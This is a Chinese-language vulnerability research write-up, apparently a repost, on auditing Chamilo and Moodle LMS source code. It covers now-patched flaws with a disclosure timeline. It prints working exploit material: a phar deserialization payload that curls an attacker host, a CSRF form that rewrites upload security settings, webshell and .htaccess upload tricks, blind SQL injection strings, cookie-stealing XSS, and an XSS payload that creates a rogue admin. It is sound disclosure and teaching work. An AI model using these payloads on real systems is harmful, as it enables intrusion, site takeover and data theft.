目录导航
介绍
为了练习源代码审查,我一直在深入研究开源 LMS 代码库的结构,以便找到未被发现的漏洞。最初,我主要关注Camilo LMS(他们的源代码可以在GitHub上找到)。之后,我查看了Moodle LMS(他们的源代码也可以在GitHub上找到)。
发现的大多数发现都是您在听到“常见 Web 应用程序漏洞”一词时会想到的,例如:
因此,调查结果的最大影响是:
- [Camilo]:可以将漏洞链接在一起以实现远程代码执行
- [Moodle]:漏洞可能导致站点/平台被接管
此博客文章中讨论的所有错误都已由各自的供应商(Camilo和Moodle)修补。事不宜迟,让我们来看看在这些大型代码库中发现漏洞的过程。?️♂️
准备工作
在深入研究代码之前,我有一个我要调试的每个 LMS 的本地 docker 实例。使用庞大的代码库意味着检查每个文件并不实际。这意味着我们必须仔细过滤掉不那么重要的代码,并专注于潜在的易受攻击的代码。弄清楚要过滤的内容至关重要,因为我们不想过滤掉易受攻击的代码,也不想“欠”过滤并有太多误报要检查。为了达到这种平衡,最好先尝试找出代码库中的编码模式。
在每个 LMS 中,我们将(至少)使用不同的方法执行两次扫描:Source to Sink
和Sink to Source
。对于搜索Source to Sink
,source
跟踪用户控制的输入 ( ) 以查看它们是否被发送到敏感的 PHP 函数(例如exec()
, system()
, …)。至于Sink to Source
,我们只是颠倒步骤,并尝试从敏感的 PHP 函数开始寻找用户控制的输入。

搜索时Sink to Source
,我们可以开始在代码库中搜索常见的 PHP 接收器。至于搜索Source to Sink
,我们首先要看看每个代码库如何接收用户输入。
Chamilo
由于代码库是用 PHP 编写的,并且似乎没有很多自定义函数包装,我们可以使用以下正则表达式进行搜索,以查看分配给 PHP 变量的每个 HTTP 请求参数值是如何使用的:
\$.+=.+\$_(GET|POST|REQUEST)

Moodle
虽然代码库也是用 PHP 编写的,但它有点棘手,因为他们已经抽象出许多默认的 PHP 功能并编写了自己的包装器。一个例子是在读取 HTTP 请求参数时,他们会调用他们的自定义函数optional_param()
或required_param()
. 然后这些包装器函数将调用典型$_GET[]
并$_POST[]
获取参数值。
function required_param($parname, $type) {
if (func_num_args() != 2 or empty($parname) or empty($type)) {
throw new coding_exception('required_param() requires $parname and $type to be specified (parameter: '.$parname.')');
}
// POST has precedence.
if (isset($_POST[$parname])) {
$param = $_POST[$parname];
} else if (isset($_GET[$parname])) {
$param = $_GET[$parname];
} else {
print_error('missingparam', '', '', $parname);
}
if (is_array($param)) {
debugging('Invalid array parameter detected in required_param(): '.$parname);
// TODO: switch to fatal error in Moodle 2.3.
return required_param_array($parname, $type);
}
return clean_param($param, $type);
}
读取参数值后,然后将其传递给另一个自定义函数clean_param()
,其中根据不同的输入对输入进行清理$type
:
function clean_param($param, $type) {
// ...
switch ($type) {
case PARAM_RAW:
// No cleaning at all.
$param = fix_utf8($param);
return $param;
// ...
case PARAM_INT:
// Convert to integer.
return (int)$param;
case PARAM_FLOAT:
// Convert to float.
return (float)$param;
case PARAM_LOCALISEDFLOAT:
// Convert to float.
return unformat_float($param, true);
case PARAM_ALPHA:
// Remove everything not `a-z`.
return preg_replace('/[^a-zA-Z]/i', '', $param);
case PARAM_ALPHAEXT:
// Remove everything not `a-zA-Z_-` (originally allowed "/" too).
return preg_replace('/[^a-zA-Z_-]/i', '', $param);
case PARAM_ALPHANUM:
// Remove everything not `a-zA-Z0-9`.
return preg_replace('/[^A-Za-z0-9]/i', '', $param);
case PARAM_ALPHANUMEXT:
// Remove everything not `a-zA-Z0-9_-`.
return preg_replace('/[^A-Za-z0-9_-]/i', '', $param);
尽管定义了许多清理方法,但第一种情况PARAM_RAW
引起了我们的注意,因为它不会对指定的 HTTP 请求参数执行任何清理。因此,我们可以使用以下正则表达式在代码库中搜索用户输入直接分配给变量的区域:
\$.+=.+_param\(.+PARAM_RAW\)

发现的漏洞
通过搜索这些过滤后的文件,我能够在 Camilo 和 Moodle 上找到相当多的漏洞。让我们来看看发现的一些有趣的东西。
Camilo – 不安全的反序列化和不安全的文件上传导致远程代码执行
这是一个有趣的发现,它将两个不同的漏洞组合到一个链中,导致远程代码执行。
不安全的文件上传
在 Camilo,学生和教师可以将文件上传到他们管理的任何课程以促进学习。但是,该应用程序会将某些文件扩展名列入黑名单。例如,它不允许上传.php
(或其任何变体,如.php3
、.php4
、.phar
、 …)。这样做会导致应用程序将文件扩展名重命名为.phps
.
当应用程序无法确保上传的图像文件实际上不是图像时,就会出现该漏洞,因为它只检查文件扩展名。这意味着只要扩展名不是列入黑名单的扩展名之一,用户就可以上传任意文件。
我发现只有教师才能上传到课程的文档部分。这很重要,因为上传到 Documents 的文件具有可确定的本地文件路径:
/path/to/chamilo/app/courses/<COURSE_CODE>/document/<FILENAME>
学生只能上传到课程的 Dropbox 部分,该部分会随机化存储在服务器上的实际文件的文件名。?
然后,我phar
使用PHPGGC生成了一个带有 RCE 负载的存档。在选择要使用的 PHP 小工具时,我检查了 Camilo 拥有的 PHP 依赖项,发现有一些小工具可以使用。在这个例子中,我将使用Monolog/RCE1
. 以下命令生成一个phar
文件 ( rce.jpg
),该文件将curl
在反序列化时向我的攻击机执行命令。
$ phpggc -p phar Monolog/RCE1 system "curl http://172.22.0.1:16666/curl" -o rce.jpg
$ cat payload/rce.jpg
<?php __HALT_COMPILER(); ?>
�tO:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:33:"curl http://172.22.0.1:16666/curl";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}dummyd��`
~test.txtd��`
~ؤtesttest��概�`�y��f��K�f�GBMB
验证此phar
文件是否可以上传:

…现在可以在/path/to/chamilo/app/courses/<COURSE_CODE>/document/
目录中找到:

随着phar
有效载荷种植,我们需要找到一种方法,通过反序列化来触发它。
不安全的反序列化
我发现了一个端点,/main/document/save_pixlr.php
其中有以下代码:
if (!isset($_GET['title']) || !isset($_GET['type']) || !isset($_GET['image'])) {
echo 'No title';
exit;
}
$paintDir = Session::read('paint_dir');
if (empty($paintDir)) {
echo 'No directory to save';
exit;
}
// ...
$urlcontents = Security::remove_XSS($_GET['image']);
// ...
$contents = file_get_contents($urlcontents);
当用户控制的输入直接$urlcontents
传递到file_get_contents()
函数中时,就会出现该漏洞。这意味着用户可以指定任意协议,例如phar://
,将反序列化本地文件。我们现在可以放心地忽略该remove_XSS()
函数,因为它只会<>
从输入中去除字符。
能够控制进入的内容
file_get_contents()
也可以被视为SSRF漏洞,因为应用程序不限制允许的 URL。
从上面的代码我们看到,GET
如果不是执行结束,就必须设置一些参数。我们还看到会话变量paint_dir
必须存在。这可以通过访问来满足http://CHAMILO_WEBSITE/main/document/create_paint.php
,它有以下代码为我们设置会话变量:
$dir = $document_data['path'];
$is_allowed_to_edit = api_is_allowed_to_edit(null, true);
// path for pixlr save
$paintDir = Security::remove_XSS($dir);
if (empty($paintDir)) {
$paintDir = '/';
}
Session::write('paint_dir', $paintDir);
将错误链接在一起
我们之前已经将我们phar
的上传到服务器并知道它的本地路径。现在,在/main/document/save_pixlr.php
反序列化端点,我们phar:///var/www/chamilo/app/courses/C001/document/rce.jpg
通过参数发送 URL 字符串:image
GET
http://CHAMILO_WEBSITE/main/document/save_pixlr.php?title=a&type=b&image=phar:///var/www/chamilo/app/courses/C001/document/rce.jpg
这将导致phar
存档的反序列化,并且将触发命令执行有效负载。
在我们的攻击者主机上:

浏览器输出:

这确认了远程代码执行。这是一个带有反向 shell 有效负载的完整链的演示:

参考
Camilo – 导致远程代码执行的跨站请求伪造 (CSRF)
security
管理页面上缺乏反 CSRF 措施,这允许攻击者制作 CSRF 负载,以便在经过身份验证的管理员触发时更改站点安全设置。一个可以更改的有趣功能是站点范围的黑名单和白名单,这将允许上传危险文件。
我们之前已经发现应用程序会自行清理上传的文件名,如函数/main/inc/lib/fileUpload.lib.php:htaccess2txt()
. 这意味着只要上传的文件名是.htaccess
,结果文件名就会是htaccess.txt
.
function htaccess2txt($filename)
{
return str_replace(['.htaccess', '.HTACCESS'], ['htaccess.txt', 'htaccess.txt'], $filename);
}
以下 PoC 会将扩展名附加txt
到黑名单中,并将黑名单中的扩展名替换为/../.htaccess
<html>
<body>
<form action="http://172.22.0.3/main/admin/settings.php?category=Security" method="POST">
<input type="hidden" name="upload_extensions_list_type" value="blacklist" />
<input type="hidden" name="upload_extensions_blacklist" value="txt" />
<input type="hidden" name="upload_extensions_whitelist" value="htm;html;jpg;jpeg;gif;png;swf;avi;mpg;mpeg;mov;flv;doc;docx;xls;xlsx;ppt;pptx;odt;odp;ods;pdf;" />
<input type="hidden" name="upload_extensions_skip" value="false" />
<input type="hidden" name="upload_extensions_replace_by" value="/../.htaccess" />
<input type="hidden" name="permissions_for_new_directories" value="0777" />
<input type="hidden" name="permissions_for_new_files" value="0666" />
<input type="hidden" name="openid_authentication" value="false" />
<input type="hidden" name="extend_rights_for_coach" value="false" />
<input type="hidden" name="extend_rights_for_coach_on_survey" value="true" />
<input type="hidden" name="allow_user_course_subscription_by_course_admin" value="true" />
<input type="hidden" name="sso_authentication" value="false" />
<input type="hidden" name="sso_authentication_domain" value="" />
<input type="hidden" name="sso_authentication_auth_uri" value="/?q=user" />
<input type="hidden" name="sso_authentication_unauth_uri" value="/?q=logout" />
<input type="hidden" name="sso_authentication_protocol" value="http://" />
<input type="hidden" name="filter_terms" value="" />
<input type="hidden" name="allow_strength_pass_checker" value="true" />
<input type="hidden" name="allow_captcha" value="false" />
<input type="hidden" name="captcha_number_mistakes_to_block_account" value="5" />
<input type="hidden" name="captcha_time_to_block" value="5" />
<input type="hidden" name="sso_force_redirect" value="false" />
<input type="hidden" name="prevent_multiple_simultaneous_login" value="false" />
<input type="hidden" name="user_reset_password" value="false" />
<input type="hidden" name="user_reset_password_token_limit" value="3600" />
<input type="hidden" name="_qf__settings" value="" />
<input type="hidden" name="search_field" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
document.forms[0].submit()
</script>
</html>

由于.txt
现在是一个列入黑名单的扩展名,它将被替换为/../.htaccess
. 最终的文件名是这样的htaccess/../.htaccess
,因为只使用了文件名,它给了我们.htaccess
.

然后,教师用户可以上传一个.htaccess
这样的文件,它会.1337
在当前目录中执行带有自定义扩展名 ( ) 的PHP 代码:
AddType application/x-httpd-php .1337

然后,上传带有.1337
扩展名的 PHP 文件:

…将允许任意代码执行。

或者,我们可以添加phps
到黑名单,并用php
. 这是因为还有一个清理功能可以清理php
存在于/main/inc/lib/fileUpload.lib.php:php2phps()
以下位置的文件扩展名:
function php2phps($file_name)
{
return preg_replace('/\.(phar.?|php.?|phtml.?)(\.){0,1}.*$/i', '.phps', $file_name);
}

每当上传的文件包含扩展名时.php
,生成的文件名将是.phps
. 由于.phps
现在是列入黑名单的扩展程序,它将被替换。最终的文件名因此回到.php
.
然后,上传带有文件名的 PHP webshellphp-backdoor.php
将成功:

但是,我们将无法直接执行上传的 PHP 文件,因为.htaccess
它存在于根目录中:

检查.htaccess
web 根目录中的文件,似乎可以通过/
在要执行的 PHP 文件的末尾附加 a 来绕过正则表达式:
# Prevent execution of PHP from directories used for different types of uploads
RedirectMatch 403 ^/app/(?!courses/proxy)(cache|courses|home|logs|upload|Resources/public/css)/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/default_course_document/images/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/main/lang/.*\.ph(p[3457]?|t|tml|ar)$
RedirectMatch 403 ^/web/.*\.ph(p[3457]?|t|tml|ar)$

再次为我们提供远程代码执行功能。
这一发现的一个关键结论是,拥有多个清理代码可能会导致意想不到的效果。我们看到了文件上传清理如何被站点的安全清理取消,因为它们相互抵消。❌
Chamilo – 经过身份验证的盲 SQL 注入
代码中一共发现了 4 个经过身份验证的 SQL 盲注。所有这些都是通过以某种Source to Sink
方式grep 代码发现的。
一个示例是以下代码,/main/blog/blog.php
其中经过身份验证的学生能够触发此漏洞:
$blog_id = isset($_GET['blog_id']) ? $_GET['blog_id'] : 0;
// ...
$sql = "SELECT COUNT(*) as number
FROM ".$tbl_blogs_tasks_rel_user."
WHERE
c_id = $course_id AND
blog_id = ".$blog_id." AND
user_id = ".api_get_user_id()." AND
task_id = ".$task_id;
$result = Database::query($sql);
$row = Database::fetch_array($result);
由于原始查询仅选择 Integer 类型的单个列,我们可以执行基于布尔值的盲 SQL 注入攻击,以从数据库中窃取信息。因此,让我们列出我们的 TRUE 和 FALSE 查询:
真案例:
0 UNION SELECT CASE WHEN 1=1 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

假情况:
0 UNION SELECT CASE WHEN 1=2 THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

由于 TRUE 和 FALSE 查询显示不同的响应,因此我们可以使用自动脚本逐个字符泄漏任意子查询的输出。当泄漏 SQL 查询的输出时SELECT USER();
,有效负载可能如下所示:
0 UNION SELECT CASE WHEN (SELECT SUBSTR((SELECT USER()),1,1))='c' THEN 1 ELSE (SELECT table_name FROM information_schema.tables) END;-- -

这是一个 TRUE 输出,这意味着 SQL 查询的第一个字符SELECT USER()
是“ c
”。
在/main/forum/download.php
( Student )、/main/inc/ajax/exercise.ajax.php
( Teacher ) 和/main/session/session_category_list.php
( Session Admin )发现了其他 3 个类似的经过身份验证的 SQL 盲注注入实例。
Camilo – 反射型 XSS
还记得我之前提到应用程序remove_XSS()
只删除<>
标签的地方吗?在研究这个函数如何清理输入时,我发现这个函数给了开发人员一种错误的安全感,因为即使输入通过该函数传递,仍然有可能实现 XSS。
在文件中/index.php
,我们看到 HTTP 参数的值作为其唯一变量firstpage
直接传入。然后将返回值直接插入到HTML 页面中的标记中。我们将使用 input:来跟踪下面的代码。remove_XSS()
<script>
';alert(1);//
来源:/index.php

检查 的函数定义security.lib.php::remove_XSS()
表明它接受了2 个额外的可选参数,$user_status
以及$filter_terms
. 值得注意的$filter_terms
是false
默认情况下设置为,因此if
从不输入第 305 行的子句,因为该函数只用一个参数调用。
来源:/main/inc/lib/security.lib.php

在security.lib.php::remove_XSS()
返回之前,它将输入传递给HTMLPurifier进行净化。

但是,HTMLPurifier 的用法似乎是不正确的,因为它旨在用于清理 HTML 元素而不是纯字符串。因此,单引号和双引号不会被清理。这允许 PoC 中的有效载荷保持完整:
来源:/vendor/ezyang/htmlpurifier/library/HTMLPurifier.php

导致 XSS 负载触发:

但是,此清理将编码<>
以防止插入任意 HTML 标签:

在整个代码库中发现了上述漏洞的多个实例,例如:
来源:/main/session/add_users_to_session.php

Payload :" onfocus="alert(document.domain)" name="pwn"
并附#pwn
加到 URL

来源:/main/auth/profile.php

Payload :" onfocus="alert(document.cookie)" name="pwn"//
并附#pwn
加到 URL

Moodle – 反射型 XSS (CVE-2021-43558)
类似地,存在由于缺乏清理而被发现的反射型 XSS。请记住,Moodle 通过使用required_param()
或optional_param()
连同要使用的清理类型来获取 HTTP 请求参数。我们看到,参数extension
传递到$extension
被传递到另一个函数之前,没有任何消毒get_string()
。
来源:/admin/tool/filetypes/revert.php
$extension = required_param('extension', PARAM_RAW);
// ...
$message = get_string('revert_confirmation', 'tool_filetypes', $extension);
// ...
echo $OUTPUT->confirm($message, $yesbutton, $nobutton);
在里面get_string()
,$extension
参数现在用作局部变量$a
:
来源:/lib/classes/string_manager_standard.php::get_string()
function get_string($identifier, $component = '', $a = null, $lang = null) {
$string = $this->load_component_strings($component, $lang); // $string = "Are you sure you want to restore <strong>.{$a}</strong> to Moodle defaults, discarding your changes?"
// ...
$string = str_replace('{$a}', (string)$a, $string);
return $string;
}
我们看到代码根本没有清理这个字符串,而是在返回它之前将它替换为预设的模板字符串。因此,HTTP 参数的输入extension
可以简单地是<script>alert(document.cookie)</script>
,它会触发 XSS,因为输入直接反映在 HTML 响应中。

由于我们有办法执行 XSS,我们可以假设受害者是经过身份验证的管理员。然后,使用以下有效负载(压缩为单行),我们可以将站点管理员更改为具有凭据 ( xss:xss
)的自定义用户。
<script>var xhr=new XMLHttpRequest();xhr.open("POST","/user/editadvanced.php",true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.withCredentials=true;var body="sesskey="%2Bdocument.getElementsByTagName("input")[1].value%2B"%26_qf__user_editadvanced_form=1%26username=xss%26newpassword=xss%26firstname=Created%2Bvia%26lastname=XSS%26email=xss%40moodle.test%26submitbutton=Create%2Buser";var aBody=new Uint8Array(body.length);for(var i=0;i<aBody.length;i%2B%2B)aBody[i]=body.charCodeAt(i);xhr.send(new Blob([aBody]));</script>
有效载荷将抓取用户的sesskey
,这是一种反 csrf 措施,并提交POST
更改站点管理员所需的请求。
在触发 XSS 负载之前显示用户列表的管理面板:

触发payload后,注意站点管理员被替换为“Created via XSS”用户:

… 我们获取到 Moodle 实例的所有权。
结论
这当然是一段有趣的旅程,潜入大型代码库以查找漏洞。即使代码库可能已经成熟,但如果没有适当且强制执行的编码标准,仍然会出现失误(正如我们所见)。从开发人员的角度来看,在处理大型代码库时,确保代码的每个功能部分都没有错误并同时不断添加新功能并非易事。这就是为什么从头开始构建安全应用程序很重要的原因。
时间线
Chamilo
2021 年 7 月 26 日 — 向 Camilo 团队报告了调查结果
2021 年 8 月 5 日——补丁推送到 GitHub
2021 年 8 月 11 日 — 向 Camilo 团队报告了其他调查结果
2021 年 8 月 19 日——补丁推送到 Github
Moodle
2021 年 9 月 7 日 — 向 Moodle 报告了调查结果
2021 年 11 月 6 日——补丁推送到 GitHub
转载请注明出处及链接